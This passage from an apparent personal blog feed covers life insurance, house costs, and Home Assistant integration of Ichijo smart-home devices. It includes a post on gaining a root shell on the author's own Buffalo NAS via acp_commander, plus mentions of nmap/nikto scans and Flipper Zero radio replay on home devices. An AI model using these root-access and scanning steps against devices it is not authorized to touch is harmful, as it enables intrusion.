&lt;p&gt;By the end of the meeting we finalized everything and signed up for the life insurance. Content and fee is exactly the same as &lt;a href=&quot;/2026/01/09/choosing-my-life-insurance-part1/&quot;&gt;I wanted it&lt;/a&gt;. The insurance company has 10 days to review all the submitted documents, and they might ask for additional info. But all of these will go through the insurance agent, which I’m happy for (he already has my details and knows my level of Japanese). If the insurance company is fine with everything, then coverage started on the day I signed the contract.&lt;/p&gt;

&lt;h2 id=&quot;update&quot;&gt;Update&lt;/h2&gt;

&lt;p&gt;8 days after the meeting I received a text message from the insurance company telling me that the contract has been finalized, and they will be sending the insurance policy by mail soon. After this message I could also login in their app, &lt;a href=&quot;https://www.fwdlife.co.jp/omne/&quot;&gt;FWD Omne&lt;/a&gt;, and confirmed my information there. This is also where I can update my credit card in the future.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How to get root access to a Buffalo LS720D NAS</title>
   <link href="https://szabo.jp/2026/01/19/root-on-buffalo-ls720d/"/>
   <updated>2026-01-19T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/19/root-on-buffalo-ls720d</id>
   <content type="html">&lt;p&gt;I recently got myself a Buffalo LS720D NAS, &lt;a href=&quot;https://www.furusato-tax.jp/product/detail/23100/5775685&quot;&gt;thanks to furusato nozei&lt;/a&gt;. I looked into how to get root access to it, and it seems like an older method still works now.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;The exact model is Buffalo LS720DE4E (LS720D) running the currently latest firmware (2.02-0.13).&lt;/p&gt;

&lt;p&gt;The steps are simple:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Download &lt;a href=&quot;https://github.com/1000001101000/acp-commander/blob/master/acp_commander.jar&quot;&gt;acp_commander.jar&lt;/a&gt; from &lt;a href=&quot;https://github.com/1000001101000/acp-commander/&quot;&gt;this fork&lt;/a&gt; (this is &lt;a href=&quot;https://github.com/Stonie/acp-commander/issues/2#issuecomment-557159353&quot;&gt;more maintained than the original&lt;/a&gt;)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Run the jar to get a shell:&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  java &lt;span class=&quot;nt&quot;&gt;-jar&lt;/span&gt; acp_commander.jar &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; &amp;lt;IP of the NAS&amp;gt; &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; &amp;lt;MAC of the NAS&amp;gt; &lt;span class=&quot;nt&quot;&gt;-pw&lt;/span&gt; &amp;lt;admin web password&amp;gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It gives you a root shell:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  Welcome to ACP Commander v0.6 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2021&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, the tool &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;Buffalo stock firmware control!

  Using MAC: &amp;lt;redacted&amp;gt;
  Enter commands to device, enter &lt;span class=&quot;s1&quot;&gt;&apos;exit&apos;&lt;/span&gt; to leave
  /&amp;gt;id
  &lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  /&amp;gt;ls &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; /mnt/array1
  total 8
  drwxr-xr-x 10 root root  196 Jan 17 13:23 &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
  drwxrwxrwx 12 root root 4096 Jan 16 11:21 ..
  drwxrwxrwx  4 root root   63 Jan 17 13:24 backup
  drwxrwxrwx 14 root root 4096 Jan 17 13:51 photos
  drwxrwxrwx  2 root root    6 Jan  5 16:48 share
  /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;According to other guides, the MAC address is optional, but I got &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SocketTimeoutException&lt;/code&gt; without specifying that.&lt;/p&gt;

&lt;p&gt;Persistent root access is more difficult. &lt;a href=&quot;https://qiita.com/tsukasa-koizumi/items/38a34e2440ddd577ae6d&quot;&gt;This blogpost&lt;/a&gt; describes the steps of enabling the ssh service and adding your ssh public key to the trusted keys, but it concludes that on restart all the system files (including ssh config) get reverted, so you have to redo it. It recommends placing a script doing the ssh setup into a folder on the NAS, then running that via the java call after a restart.&lt;/p&gt;

&lt;p&gt;I have seen some other guides that would patch the update to include these changes, but then you can’t easily update to newer firmware versions. So for now I’m okay to use this method to get a shell if I need to.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Setting up Ichijo's Cloud HEMS, and connecting it to Home Assistant</title>
   <link href="https://szabo.jp/2026/01/15/ichijo-hems-to-homeassistant/"/>
   <updated>2026-01-15T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/15/ichijo-hems-to-homeassistant</id>
   <content type="html">&lt;p&gt;We added &lt;a href=&quot;/2025/04/21/ichijo-smart-home/&quot;&gt;most of Ichijo’s smart home (HEMS) options to our house&lt;/a&gt; and in this post I’ll review how I set them up, and connected them to Home Assistant.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;em&gt;This is for Ichijo’s new HEMS offering, Cloud HEMS (一条工務店クラウドHEMS), introduced in 2025. If you have a house built earlier (or much later), then these will likely be different.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;options-we-got&quot;&gt;Options we got&lt;/h2&gt;

&lt;p&gt;See &lt;a href=&quot;/2025/04/21/ichijo-smart-home/&quot;&gt;my previous post for details&lt;/a&gt;, but here is the list:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;EcoEye distribution board&lt;/li&gt;
  &lt;li&gt;HEMS adapter for the floor heating&lt;/li&gt;
  &lt;li&gt;HEMS adapter for the EcoCute water heater&lt;/li&gt;
  &lt;li&gt;HEMS adapter for the 24h ventilation system (ロスガード)&lt;/li&gt;
  &lt;li&gt;Air conditioners with WiFi&lt;/li&gt;
  &lt;li&gt;Panasonic Advanced Series Link Plus switches&lt;/li&gt;
  &lt;li&gt;Intercom with security cameras and e-entry entrance door (can be locked from the intercom screen)&lt;/li&gt;
  &lt;li&gt;Electric honeycomb shades&lt;/li&gt;
  &lt;li&gt;Miele dishwasher&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;connecting-to-the-network&quot;&gt;Connecting to the network&lt;/h2&gt;

&lt;p&gt;The devices need to connect to the network. To do this, there were a few patterns.&lt;/p&gt;

&lt;h3 id=&quot;ethernet-cable&quot;&gt;Ethernet cable&lt;/h3&gt;

&lt;p&gt;The EcoEye distribution board and the security cameras came with Ethernet cables that were routed to the &lt;a href=&quot;/2025/11/15/home-network/&quot;&gt;information box&lt;/a&gt;, so I could just plug them into my switch.&lt;/p&gt;

&lt;h3 id=&quot;connect-to-my-wifi&quot;&gt;Connect to my WiFi&lt;/h3&gt;

&lt;p&gt;The EcoCute water heater, the Daikin ACs, and the Miele dishwasher all had their own mobile app that let me connect them to my home WiFi network.&lt;/p&gt;

&lt;h3 id=&quot;recreate-the-expected-wifi&quot;&gt;Recreate the expected WiFi&lt;/h3&gt;

&lt;p&gt;The floor heating and the 24h ventilation system (ロスガード) however didn’t have an app, nor any visible way to configure their WiFi. Turns out that they were trying to connect to the WiFi network that &lt;a href=&quot;/2025/11/15/home-network/#:~:text=to%20the%20rooms-,Side%20note%3A,-the%20information%20box&quot;&gt;Ichijo configured with their LTE modem&lt;/a&gt;. However since I removed that modem, they couldn’t reach the internet. My solution: set up a WiFi with the same SSID and password, and let them connect to that. The SSID and password were written on the back of the LTE modem. The SSID looked something like this: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FS010M_123456&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once I created this WiFi network, both the floor heating and the ventilation system connected to it successfully.&lt;/p&gt;

&lt;h3 id=&quot;custom-connections&quot;&gt;Custom connections&lt;/h3&gt;

&lt;h4 id=&quot;e-entry-entrance-door&quot;&gt;E-entry entrance door&lt;/h4&gt;

&lt;p&gt;This connects to the intercom with a custom method. I’m not even sure if it’s wired or wireless, but I suspect some custom radio protocol. It was already configured when we moved in.&lt;/p&gt;

&lt;h4 id=&quot;panasonic-advanced-series-link-plus-switches&quot;&gt;Panasonic Advanced Series Link Plus switches&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;/2024/11/10/panasonic-advance-series-link-plus/&quot;&gt;I bought their hub myself (Link Plus Wireless Adapter, リンクプラス用無線アダプタ)&lt;/a&gt;, which connects to the switches via 920MHz radio, and to the network via Ethernet. It has its app to set up all the switches, so I used that.&lt;/p&gt;

&lt;h4 id=&quot;electric-honeycomb-shades&quot;&gt;Electric honeycomb shades&lt;/h4&gt;

&lt;p&gt;These are proving to be more difficult than expected. They are &lt;a href=&quot;https://question.realestate.yahoo.co.jp/knowledge/chiebukuro/detail/11310532781/&quot;&gt;licensed from Hunter Douglas&lt;/a&gt; and made by Ichijo, however the remotes seem to be Ichijo-specific. I &lt;a href=&quot;https://web.archive.org/web/20250502232054/https://blog.goo.ne.jp/ir-rf-converter&quot;&gt;found a blog where someone reverse engineered the controls&lt;/a&gt;, and it’s a 315 MHz custom radio protocol.&lt;/p&gt;

&lt;p&gt;I tried Broadlink RM4 Pro, as it supports 315 MHz radio, but it failed to decode the signal, and it doesn’t support replaying raw signals. If it doesn’t understand the protocol, then it won’t interact with the device.&lt;/p&gt;

&lt;p&gt;I also tried with my Flipper Zero, and successfully recorded and replayed the signal (Read Raw, 315 MHz, AM270).&lt;/p&gt;

&lt;p&gt;Next I will work on integrating it with Home Assistant, and I plan to write a dedicated article about this.&lt;/p&gt;

&lt;h2 id=&quot;official-setup&quot;&gt;Official setup&lt;/h2&gt;

&lt;p&gt;Ichijo’s recommended way of using their HEMS devices is via the &lt;a href=&quot;https://www.mitsubishielectric.co.jp/home/mymu/&quot;&gt;Mitsubishi MyMU app&lt;/a&gt;. Ichijo did the configuration, and 6 weeks after the hand-over they sent us the MyMU login details via paper mail. Once I logged in to the app, it could see the following devices:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;floor heating, per zone (we have 2 zones on the first floor and 2 zones on the second floor)&lt;/li&gt;
  &lt;li&gt;air circulation&lt;/li&gt;
  &lt;li&gt;ACs&lt;/li&gt;
  &lt;li&gt;solar panels&lt;/li&gt;
  &lt;li&gt;EcoCute water heater&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;the app is a bit slow, but works. It also allows controlling them remotely, so e.g. when going home late, I can have the bath filled up by the time we arrive home (normally closing the bath plug would be an issue, but since we got the self-cleaning bathtub, it can close it by itself).&lt;/p&gt;

&lt;h2 id=&quot;home-assistant-setup&quot;&gt;Home Assistant setup&lt;/h2&gt;

&lt;h3 id=&quot;ecoeye-distribution-board&quot;&gt;EcoEye distribution board&lt;/h3&gt;

&lt;p&gt;Connected using &lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant&quot;&gt;echonetlite_homeassistant&lt;/a&gt;. It exposes a lot of solar-related metrics, but it doesn’t show per circuit power consumption (e.g. I can’t see how much electricity a given room uses). Still the solar power info can be useful for automation.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-15-ichijo-hems-to-homeassistant/solar.png#lb&quot; alt=&quot;Some of the metrics about the solar panel and battery&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;floor-heating&quot;&gt;Floor heating&lt;/h3&gt;

&lt;p&gt;Connected using &lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant&quot;&gt;echonetlite_homeassistant&lt;/a&gt;. For each zone it has all the expected controls: on/off, and setting temperature. It also has an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auto&lt;/code&gt; option, which the MyMu app calls 自動, but this seems unsupported: the MyMU app fails with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;設定に失敗しました. 機器がこの設定に対応していません&lt;/code&gt; (Configuration failed. The device does not support this configuration.) and Home Assistant also fails to set it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-15-ichijo-hems-to-homeassistant/floor_heating.png#lb&quot; alt=&quot;Floor heating controls of one of the zones (there are 4 of these in our house)&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;24h-ventilation-system-ロスガード&quot;&gt;24h ventilation system (ロスガード)&lt;/h3&gt;

&lt;p&gt;Connected using &lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant&quot;&gt;echonetlite_homeassistant&lt;/a&gt;. This is only partially supported: it lets you turn it on and off, however it doesn’t let you control the mode (air circulation, heat exchange, automatic) and it doesn’t let you control the humidifier (on or off, the strength of the humidifier). It also doesn’t show the humidity and temperature of the incoming and outgoing air. All of these are available in MyMU app, but not in the Home Assistant integration.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-15-ichijo-hems-to-homeassistant/loss_guard.png#lb&quot; alt=&quot;24h ventilation system (ロスガード) in Home Assistant - only basic controls are available&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Meanwhile the MyMU app has all the options:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-15-ichijo-hems-to-homeassistant/loss_guard_mymu.png#lb&quot; alt=&quot;ロスガード controls in the MyMU app&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;air-conditioners-daikin&quot;&gt;Air conditioners (Daikin)&lt;/h3&gt;

&lt;p&gt;Connected using the &lt;a href=&quot;https://www.home-assistant.io/integrations/daikin/&quot;&gt;official DAIKIN integration&lt;/a&gt;. Works as expected.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-15-ichijo-hems-to-homeassistant/ac.png&quot; alt=&quot;Controls of a Daikin AC&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;advanced-series-link-plus-switches&quot;&gt;Advanced Series Link Plus switches&lt;/h3&gt;

&lt;p&gt;Connected using &lt;a href=&quot;https://github.com/scottyphillips/echonetlite_homeassistant&quot;&gt;echonetlite_homeassistant&lt;/a&gt;. Works as expected letting me control the lights (on/off, adjust brightness of the dimmer switches).&lt;/p&gt;

&lt;h3 id=&quot;miele-dishwasher&quot;&gt;Miele dishwasher&lt;/h3&gt;

&lt;p&gt;Connected using the &lt;a href=&quot;https://www.home-assistant.io/integrations/miele/&quot;&gt;official Miele integration&lt;/a&gt;. Exposes a lot of information, but it seems most of these are read-only. It does allow me to turn it on or off, but it doesn’t let me start it. This is not really something I would want to do from Home Assistant anyway.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-15-ichijo-hems-to-homeassistant/miele.png#lb&quot; alt=&quot;Miele while running&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This finishes the ones that I could connect to Home Assistant.&lt;/p&gt;

&lt;h3 id=&quot;intercom-with-security-cameras-and-e-entry-entrance-door&quot;&gt;Intercom with security cameras and e-entry entrance door&lt;/h3&gt;

&lt;p&gt;These don’t connect to the HEMS system, but do have their own mobile app that allows viewing the video feeds and locking the door. It also should allow unlocking the door, but only after someone rings the intercom, however the notification for this is usually delayed, so not sure how useful this is in practice.&lt;/p&gt;

&lt;p&gt;The cameras have TCP ports 443 and 53 open, but the website on 443 returns 500 on all path I tried. I also run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -A&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nikto&lt;/code&gt; on it with no result.&lt;/p&gt;

&lt;p&gt;The intercom has port 53, 80, 443, 8443, 49153, 49154 open, with 31194 and 44247 reported as filtered. I run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -A&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nikto&lt;/code&gt; on the web ports to no avail. Port 8443 has a header &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server: Panasonic Door Server/1.00&lt;/code&gt; but I couldn’t find anything about this online.&lt;/p&gt;

&lt;h3 id=&quot;ecocute-water-heater&quot;&gt;EcoCute water heater&lt;/h3&gt;

&lt;p&gt;This acts as the HEMS controller (this is the main unit MyMU talks to), which means that it doesn’t respond to EchonetLite calls, so I haven’t managed to connect it to Home Assistant yet.&lt;/p&gt;

&lt;p&gt;It has port 80 open and responds to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/license&lt;/code&gt;, which could mean that &lt;a href=&quot;https://github.com/pymitsubishi/pymitsubishi&quot;&gt;pymitsubishi&lt;/a&gt; might work with it, but I haven’t tested it yet.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>House prices are different from other things</title>
   <link href="https://szabo.jp/2026/01/14/house-prices-are-different/"/>
   <updated>2026-01-14T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/14/house-prices-are-different</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;recently built a house in Tokyo&lt;/a&gt;, and it made me reflect on how house prices are different than prices of other goods.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;marginal-utility&quot;&gt;Marginal utility&lt;/h2&gt;

&lt;p&gt;We &lt;a href=&quot;/2025/07/22/the-price-of-a-car/&quot;&gt;bought a second hand Toyota minivan this year for 2.6 million yen&lt;/a&gt;. Buying the same model new (&lt;a href=&quot;https://toyota.jp/voxy/&quot;&gt;Toyota Voxy&lt;/a&gt;), it has a list price of 3.2-4 million yen. Meanwhile Toyota also makes &lt;a href=&quot;https://lexus.jp/models/lm/&quot;&gt;Lexus LM&lt;/a&gt;, a luxury minivan going for 15-20 million yen. 4-6 times more than the Voxy.&lt;/p&gt;

&lt;p&gt;Similarly &lt;a href=&quot;https://www.apple.com/jp/shop/buy-mac/macbook-air&quot;&gt;Macbook Air&lt;/a&gt; starts at 164,800 yen but goes up to 258,800 yen, while &lt;a href=&quot;https://www.apple.com/jp/shop/buy-mac/macbook-pro&quot;&gt;Macbook Pro&lt;/a&gt; goes from 248,800 yen to 634,800 yen. Almost 4 times as much as the entry-level Macbook Air.&lt;/p&gt;

&lt;p&gt;For these examples (and most stuff) the marginal utility drops fast: going from a base model to a little bit better can easily double the price, while (for most people) the utility (the value of the thing) doesn’t double.&lt;/p&gt;

&lt;p&gt;I found that houses behave differently. There is a huge fixed cost, the land: in our case &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;we paid 68.7 million when when buying the land&lt;/a&gt; and &lt;a href=&quot;/2025/05/04/cost-of-our-ichijo-house/&quot;&gt;35.6 million yen for building the house&lt;/a&gt; (the comparison is not perfect as the former includes all fees associated with buying the land, while the latter is only the cost of the building itself, and misses registration fees and taxes, garden constructions, etc.).&lt;/p&gt;

&lt;p&gt;Some companies build houses of the same size for as little as 15-20 million yen. We checked some of those, and they were usually bad quality to the point of major negative effect on daily life:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;almost no insulation - cold in winter, hot in summer, always noisy, high electricity bill&lt;/li&gt;
  &lt;li&gt;low quality finish and equipments - breaks more easily, needs to be replaced sooner, uses more electricity, less nice to use (we had some cheap ACs in previous rental apartments)&lt;/li&gt;
  &lt;li&gt;lower build quality - gaps, structure/roof breaking sooner&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Still, simply looking at the price being half as much, it wouldn’t be such a bad deal. However looking at the whole picture with the land, it would only save 10-15%. In other words by paying 10-15% more you can get a significantly better house.&lt;/p&gt;

&lt;p&gt;Cheap houses are still being built, so some people are buying those. I think this happens when people want to live in a specific area but have a limited budget: since the land price is fixed, the only way to make it fit into their budget is to get a cheaper building. If living in the area is more important than the building quality, this can be a potential trade-off.&lt;/p&gt;

&lt;p&gt;There is a limit to this: I have seen house makers give quotes that were higher than the price of the land in Tokyo (e.g. 100 million yen for a 150 m2 house) for fully custom houses. I would argue the marginal utility there has dropped, but maybe the main learning from this is that marginal utility is very subjective: for me going from 15 million yen to 35 million yen made sense. For others it wouldn’t make sense, or it would make sense &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1pyhd6l/need_advice_on_japanese_mortgage_no_pr_married_to/&quot;&gt;even to go to 70 million yen&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;additional-options-for-the-house&quot;&gt;Additional options for the house&lt;/h3&gt;

&lt;p&gt;There is a slippery slope with this thinking: when looking at additional upgrades for the house, it is easy to want to add everything. 100,000 yen for a self cleaning bathtub? 200,000 yen for the best Toto toilet? 100,000 yen for a bigger water heater tank? If one thinks in terms of 100,000 yen being only 0.1% of the overall 100 million yen budget, it’s easy to add these. But they do add up, and in the end 2-3 million yen is the same price as buying a car, so wasting that much is bad.&lt;/p&gt;

&lt;p&gt;On the other hand some of these options are proving to be super helpful and significantly increase our daily quality of life:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;we &lt;a href=&quot;/2025/04/12/custom-kitchen-with-ichijo/&quot;&gt;paid 1.9 million yen for our custom kitchen&lt;/a&gt; - with a front-open Mielle dishwasher and Gaggenau IH cooktop. The large dishwasher saves us 10-15 minutes everyday, and the IH is really nice to use and very easy to keep clean. We both love to cook, so this is a great quality of life improvement&lt;/li&gt;
  &lt;li&gt;we paid 130,000 yen for the self-cleaning bathtub - and we didn’t need to clean the bathtub since we moved in 2 months ago. Totally worth it, especially with kids that love to take a bath every day.&lt;/li&gt;
  &lt;li&gt;extra storage - 262,500 yen for the attic storage, 103,000 yen for the underfloor storage. These take up so much stuff and make it easy to keep the house organized&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So overall these (and many of the other options too) seem to be totally worth it. At least for us.&lt;/p&gt;

&lt;h2 id=&quot;cost-of-labor&quot;&gt;Cost of labor&lt;/h2&gt;

&lt;p&gt;This is the other topic I was thinking when it comes to houses.&lt;/p&gt;

&lt;p&gt;In some sense, it’s not that houses are expensive, but rather we got really good at making things cheap by outsourcing the manual labor to countries with low income, and standardizing everything to the point where it can be made at a low cost.&lt;/p&gt;

&lt;p&gt;Consider this: you can buy a brand new microwave oven for less than 10,000 yen (e.g. &lt;a href=&quot;https://www.irisplaza.co.jp/index.php?KB=SHOSAI&amp;amp;SID=H100943&quot;&gt;Iris Ohyama&lt;/a&gt; or &lt;a href=&quot;https://www.ikea.com/jp/en/p/tillreda-microwave-oven-white-70504653/&quot;&gt;IKEA&lt;/a&gt;). Both of these are sold in Japan, so fulfill the legal requirements (e.g. won’t electrocute you) and come with warranty. The price already includes the 10% VAT and the reseller’s profit, so the manufacturing and shipping costs are even less.&lt;/p&gt;

&lt;p&gt;Still they only cost about a day’s work at the &lt;a href=&quot;https://en.wikipedia.org/wiki/Minimum_wage_in_Japan&quot;&gt;minimal wage in Japan&lt;/a&gt;. So if you want to have someone install it for you, that can easily be more expensive than the device: someone will have to come to your place (takes time and transportation cost) and do the installation (presumably requiring some skill that demands more than minimal wage). Add in the overhead for organizing this (sending out the quote, having people on file that can do the installation, handling reschedules or people not being home), and you can easily be looking at 8-12 hours work. Add taxes, cost of tools, insurance, and it can easily be more than the price of the microwave.&lt;/p&gt;

&lt;p&gt;It sounds silly that we can make a fairly complex machine for less than it costs to have someone come to your house and plug it in, but this is the world we built.&lt;/p&gt;

&lt;p&gt;Same concept applies to other things (e.g. &lt;a href=&quot;/2025/12/28/curtains/&quot;&gt;custom size curtains&lt;/a&gt;). Essentially we got really good at making things for cheap as long as all units are the same (customization has a lot of overhead and makes automatization hard) and labor can be outsourced. This made everyone in developed countries more rich than before, which in turn made the labor even more expensive in those countries.&lt;/p&gt;

&lt;p&gt;This makes locally produced and custom things more expensive. Companies are trying to solve this problem by two ways: make the custom things somewhat standardized (e.g. &lt;a href=&quot;https://parksidemarket.jp/pages/about01&quot;&gt;semi-order&lt;/a&gt; instead of full order) and by outsourcing part of the process to other countries.&lt;/p&gt;

&lt;p&gt;Recently I had a black suite made and it was relatively cheap because it was only semi-order (so they would adjust the width and length of each part, but not fully tailor the entire thing for me) and the manufacturing was done in China. It took a few months, but the cost was less than half of what a suit made in Japan costs.&lt;/p&gt;

&lt;p&gt;Ichijo also does a similar thing: &lt;a href=&quot;/2025/05/26/designing-our-house/#rules-of-the-builder&quot;&gt;they had a lot of rules about the building&lt;/a&gt; and they produce the pieces of the house in their factory in the Philippines, ship them to Japan, then assemble the pieces with a crane on the land.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-14-house-prices-are-different/truck-with-ichijo-house-parts.jpg#lb&quot; alt=&quot;Parts of an Ichijo house on a truck, waiting to be assembled&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Compared to building the whole frame on the site this keeps the cost lower, but reduces some of the customizability.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-14-house-prices-are-different/building-the-frame.jpg#lb&quot; alt=&quot;The frame of a usual wooden house being built&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Miscellaneous expenses while building our home in Tokyo</title>
   <link href="https://szabo.jp/2026/01/11/house-misc-expenses/"/>
   <updated>2026-01-11T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/11/house-misc-expenses</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;bought land in Tokyo two years ago&lt;/a&gt; and &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;finished building our house in November last year&lt;/a&gt;. I &lt;a href=&quot;/2025/05/04/cost-of-our-ichijo-house/&quot;&gt;wrote about the cost of the house
already&lt;/a&gt; but there were some other miscellaneous expenses related to the house construction. I will cover these now.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;initial-deposit&quot;&gt;Initial deposit&lt;/h2&gt;

&lt;p&gt;Ichijo told us that they will have some incidental expenses during the construction, so to handle those smoothly, they will take an additional 800,000 yen from the first house payment. Once the house is done and everything wraps up, then they will refund the remaining amount. They just sent me the breakdown yesterday and will refund the money on the next working day.&lt;/p&gt;

&lt;p&gt;I was a bit surprised why they handle this differently from their regular billing, but two possible reasons I could think of:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;When we finalized the design and signed the contract, then we fixed the price for the house. Since these incidental charges are only known later, they would affect the price if it would be included in that&lt;/li&gt;
  &lt;li&gt;Some of the incidental charges are tax-free expenses, like duty stamps, registration fees, subsidy applications, etc. If they would be included in Ichijo’s main invoice, we could potentially be on the hook to pay VAT on those too, while this way (Ichijo pays it on our behalf but money comes from us directly) this can be avoided. I’m not sure if this would really be a problem, but it might be.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This deposit was different than what we paid when we signed the pre-contract with Ichijo (a 1 million yen, refundable deposit). That got rolled into the payment for the house, and this 800,000 yen got taken out of the bridge loan instead.&lt;/p&gt;

&lt;h2 id=&quot;breakdown&quot;&gt;Breakdown&lt;/h2&gt;

&lt;p&gt;Here is the overall breakdown of the miscellaneous expenses that got charged from this 800,000 yen deposit:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Charge&lt;/th&gt;
      &lt;th&gt;Charge (JP)&lt;/th&gt;
      &lt;th&gt;Amount&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Design application and filing services&lt;/td&gt;
      &lt;td&gt;設計申請・届出業務&lt;/td&gt;
      &lt;td&gt;¥154,300&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Construction cost rounding&lt;/td&gt;
      &lt;td&gt;工事代金へ&lt;/td&gt;
      &lt;td&gt;¥5,326&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Bridge loan interest and stamp duty&lt;/td&gt;
      &lt;td&gt;つなぎ金利・つなぎ融資印紙代&lt;/td&gt;
      &lt;td&gt;¥243,274&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Property registration&lt;/td&gt;
      &lt;td&gt;登記&lt;/td&gt;
      &lt;td&gt;¥290,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;合計&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;¥692,900&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Remaining amount to be refunded&lt;/td&gt;
      &lt;td&gt;お施主様への御返金&lt;/td&gt;
